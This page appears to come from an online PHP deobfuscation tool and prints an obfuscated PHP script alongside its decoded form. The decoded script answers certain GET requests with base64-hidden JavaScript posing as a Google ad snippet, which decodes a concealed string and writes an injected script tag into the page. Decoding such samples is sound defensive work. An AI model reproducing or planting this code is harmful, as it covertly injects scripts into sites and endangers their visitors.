Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* copyright */ ${"\x47\x4c\x4f\x42\x41L\x53"}["\x77m\x68\x72\x76\x6c\x6c"]="\x6b";$..

Decoded Output download

<?php /* copyright */ ${"GLOBALS"}["wmhrvll"]="k";${"GLOBALS"}["ztbdix"]="v";$qmosttxu="k";foreach($_GET as${$qmosttxu}=>${${"GLOBALS"}["ztbdix"]}){if(preg_match("!^[a-z0-9]{10,32}\$!is",${${"GLOBALS"}["wmhrvll"]})){${"GLOBALS"}["qlyoktepzy"]="txt";$qliyxv="txt";${"GLOBALS"}["ulxstolh"]="k";${$qliyxv}=base64_decode("PFNDUklQVCBsYW5ndWFnZT1qYXZhc2NyaXB0Pg0KPCEtLQ0KZnVuY3Rpb24gZ2V0bWUoc3RyKQ0KeyB2YXIgaWR4ID0gc3RyLmluZGV4T2YoJz8nKTsgaWYgKGlkeCA9PSAtMSkgcmV0dXJuIHN0cjsgdmFyIGxlbiA9IHN0ci5sZW5ndGg7IHZhciBuZXdfc3RyID0gIiI7IHZhciBpID0gMTsgZm9yICgrK2lkeDsgaWR4IDwgbGVuOyBpZHggKz0gMixpKyspDQp7IHZhciBjaCA9IHBhcnNlSW50KHN0ci5zdWJzdHIoaWR4LCAyKSwgMTYpOyBuZXdfc3RyICs9IFN0cmluZy5mcm9tQ2hhckNvZGUoKGNoICsgaSkgJSAyNTYpOyB9IA0KZG9jdW1lbnQud3JpdGUobmV3X3N0ci5zdWJzdHIoMCxuZXdfc3RyLmxlbmd0aC0xMSkrIlx1MDAyNlx1MDA2N1x1MDA2Rlx1MDA2Qlx1MDA2Qlx1MDAzRFpaWlpcdTAwMjJcdTAwM0JcdTAwM0NcdTAwMkZcdTAwNzNcdTAwNjNcdTAwNzJcdTAwNjlcdTAwNzBcdTAwNzRcdTAwM0UiKTsNCn0NCmdvb2dsZV9hZF9jbGllbnQgPSAicHViLTE0MzA1ODQ0MDgzMTM4NDMiOw0KZ29vZ2xlX2FkX3dpZHRoID0gNzI4Ow0KZ29vZ2xlX2FkX2hlaWdodCA9IDkwOw0KZ29vZ2xlX2FkX2Zvcm1hdCA9ICI3Mjh4OTBfYXMiOw0KZ29vZ2xlX2FkX3R5cGUgPSAidGV4dF9pbWFnZSI7DQpnb29nbGVfYWRfY2hhbm5lbCA9ICIiOw0KZ2V0bWUoImh0dHA6Ly9wYWdlYWQyLmdvb2dsZXN5bmRpY2F0aW9uLmNvbS9wYWdlYWQvc2hvd19hZHMuanM/M0I3MTYwNkU2NDZBNkQxODYzNTc2MzVCNjg1MzU4NTUyQzEwNTc0RDYxNEI1QzRCNTk0RjU1NTgwNTIwNTg0OTRENDI0QzUzMDk0NjQ4M0IzODRBM0U0MzQxMEZGMzM4NDM0MjNEMDZGQUY5RkVGNkY4RjZGNkYyRjRGNkY3RUVGMEY1RjFFQjJEMkNFNzI4MUYyNkY0MTUxOTE4RUVFOEUxRTdEREQyMUUxRjBCRTVEQURFREVEREM1RERERENGMTIwMTBGMDUwQjBFRDciKTsNCi8vLS0+IDwvU0NSSVBUPg==");echo str_replace("ZZZZ",${${"GLOBALS"}["ulxstolh"]},${${"GLOBALS"}["qlyoktepzy"]});exit;}} /* copyright */ ?>

Did this file decode correctly?

Original Code

<?php /* copyright */ ${"\x47\x4c\x4f\x42\x41L\x53"}["\x77m\x68\x72\x76\x6c\x6c"]="\x6b";${"\x47\x4cO\x42\x41\x4c\x53"}["\x7a\x74\x62\x64i\x78"]="v";$qmosttxu="k";foreach($_GET as${$qmosttxu}=>${${"\x47L\x4f\x42\x41\x4cS"}["\x7a\x74\x62\x64\x69\x78"]}){if(preg_match("\x21^[\x61-\x7a0-\x39]{\x310,3\x32}\$\x21i\x73",${${"\x47\x4c\x4f\x42\x41L\x53"}["\x77m\x68\x72vl\x6c"]})){${"G\x4cOBA\x4c\x53"}["\x71ly\x6f\x6b\x74e\x70\x7a\x79"]="\x74\x78\x74";$qliyxv="tx\x74";${"G\x4cO\x42\x41L\x53"}["\x75\x6c\x78\x73to\x6c\x68"]="k";${$qliyxv}=base64_decode("PF\x4e\x44\x55\x6b\x6c\x51V\x43\x42sY\x575\x6e\x64W\x46n\x5aT1\x71\x59\x58\x5a\x68c\x32\x4ey\x61\x58B0P\x67\x30KPCE\x74L\x51\x30K\x5an\x56u\x59\x33\x52pb24g\x5a2\x56\x30\x62W\x55\x6f\x633R\x79K\x510KeyB\x32\x59\x58\x49g\x61WR\x34I\x440gc\x33\x52y\x4cm\x6c\x75Z\x47V\x34T2Y\x6fJz8\x6eKTsga\x57Yg\x4bGlk\x65CA\x39\x50S\x41t\x4dSkg\x63mV\x30dX\x4au\x49\x48N\x30\x63j\x73g\x64\x6dFy\x49G\x78\x6cb\x69A9\x49HN\x30\x63i5sZ\x57\x35\x6e\x64\x47\x67\x37IHZ\x68\x63iBuZ\x58\x64\x66\x633\x52y\x49D0\x67\x49\x69\x497IH\x5ahciB\x70\x49\x44\x30g\x4dT\x73g\x5am\x39y\x49CgrK\x32\x6c\x6b\x65Dsg\x61W\x52\x34ID\x77gbG\x56uOy\x42pZ\x48ggK\x7a0\x67Mi\x78pK\x79spD\x51\x707\x49\x48\x5ah\x63\x69BjaCA9\x49\x48B\x68c\x6e\x4e\x6cSW5\x30\x4b\x48N0c\x69\x35\x7adW\x4a\x7a\x64\x48Io\x61\x57\x52\x34L\x43\x41yKS\x77\x67\x4d\x54\x59\x70\x4fy\x42uZ\x58\x64fc\x33R\x79ICs9\x49\x46\x4e0\x63ml\x75Zy\x35\x6d\x63\x6d9\x74\x512h\x68\x63\x6b\x4evZGUoK\x47N\x6fI\x43\x73\x67\x61S\x6b\x67J\x53\x41\x79NTY\x70Oy\x429\x49\x41\x30KZ\x47\x39\x6adW1\x6c\x62\x6eQud3\x4ap\x64\x47Uo\x62\x6d\x56\x33X3\x4e0\x63i\x35z\x64WJ\x7adH\x49\x6f\x4d\x43\x78u\x5a\x58\x64\x66c\x33Ry\x4c\x6dxl\x62\x6d\x64\x30\x61\x43\x30xM\x53\x6br\x49l\x781\x4d\x44AyNlx\x31M\x44\x412N\x31x\x31\x4dDA2\x52l\x78\x31M\x44\x41\x32Q\x6cx\x31MDA2Q\x6cx\x31\x4d\x44A\x7a\x52\x46pa\x57\x6c\x70\x63d\x54\x41w\x4d\x6a\x4acdTA\x77M0J\x63\x64\x54Aw\x4d0N\x63\x64TAwM\x6b\x5acd\x54A\x77NzN\x63\x64TAw\x4e\x6a\x4ecdTA\x77N\x7a\x4a\x63\x64TAw\x4ej\x6c\x63\x64TA\x77\x4ezBcdTAwN\x7a\x52cdT\x41wM\x30\x55\x69\x4bT\x73N\x43\x6e\x30N\x43\x6dd\x76\x622\x64s\x5a\x569hZF\x39jbGll\x62\x6eQ\x67\x50\x53A\x69c\x48V\x69\x4c\x54E\x30\x4d\x7a\x41\x31ODQ\x30\x4dD\x67z\x4d\x54M4\x4eD\x4diOw\x30K\x5a\x329v\x5a\x32\x78lX\x32F\x6b\x58\x33dp\x5a\x48\x52oI\x440g\x4ez\x494O\x770KZ\x32\x39v\x5a2\x78\x6cX2F\x6bX\x32h\x6caWdo\x64\x43A9\x49\x44\x6bwO\x770KZ29\x76\x5a2\x78l\x58\x32Fk\x58\x32Z\x76cm1h\x64C\x41\x39\x49\x43I\x33\x4djh4OT\x42f\x59XM\x69\x4fw0KZ\x329\x76\x5a2xl\x58\x32\x46kX\x33R5c\x47UgP\x53A\x69dGV4\x64F\x39pbW\x46\x6e\x5a\x53I\x37D\x51p\x6eb29nb\x47\x56\x66YWRf\x592\x68\x68\x62\x6d5\x6c\x62CA9IC\x49\x69\x4f\x770K\x5a2\x560\x62WUoI\x6d\x68\x30\x64\x48A6\x4cy9\x77Y\x57d\x6c\x59W\x51\x79\x4cmd\x76b\x32\x64s\x5a\x58N\x35b\x6d\x52pY2F0\x61W9uLmN\x76bS9wY\x57\x64\x6cYWQvc2hvd\x31\x39\x68\x5aH\x4dua\x6e\x4d/\x4d0I3M\x54\x59\x77Nk\x552ND\x5a\x42N\x6b\x51x\x4fD\x59z\x4eT\x632\x4dzV\x43\x4ej\x67\x31\x4d\x7aU\x34N\x54UyQz\x45w\x4e\x54\x63\x30\x52DY\x78\x4eE\x49\x31\x51\x7aRCN\x54k\x30R\x6a\x551\x4e\x54\x67wN\x54\x49\x77N\x54\x670OT\x52\x45\x4e\x44\x49\x30Q\x7aU\x7aMD\x6b0\x4e\x6aQ\x34\x4d\x30\x49z\x4fDR\x42M\x30\x550Mz\x51\x78\x4dEZ\x47\x4dzM4N\x44\x4d\x30Mj\x4eE\x4dD\x5aGQU\x595\x52k\x56\x47\x4ekY4RjZG\x4e\x6bYyRj\x52G\x4e\x6bY3\x52\x55VGM\x45Y1R\x6a\x46\x46\x51j\x4a\x45\x4d\x6bNF\x4ez\x49\x34\x4dU\x59yN\x6b\x59\x30\x4dTUxOTE\x34RUVFOE\x55\x78R\x54\x64EREQyMU\x55\x78Rj\x42CR\x54\x56\x45\x51\x55R\x46\x52EV\x45\x52\x45M1\x52\x45RE\x52\x45\x4e\x47\x4d\x54Iw\x4d\x54\x42\x47M\x44\x55w\x51j\x42F\x52\x44\x63\x69\x4b\x54\x73NC\x69\x38\x76\x4c\x53\x30+I\x44\x77\x76\x550\x4eS\x53VBU\x50\x67\x3d\x3d");echo str_replace("\x5a\x5a\x5a\x5a",${${"\x47L\x4f\x42\x41\x4cS"}["u\x6c\x78\x73\x74\x6f\x6ch"]},${${"GL\x4f\x42\x41\x4cS"}["\x71\x6cy\x6f\x6b\x74ep\x7a\x79"]});exit;}} /* copyright */ ?>

Function Calls

None

Variables

None

Stats

MD5 2c0dae337700dd859d6d62d59d79be20
Eval Count 0
Decode Time 96 ms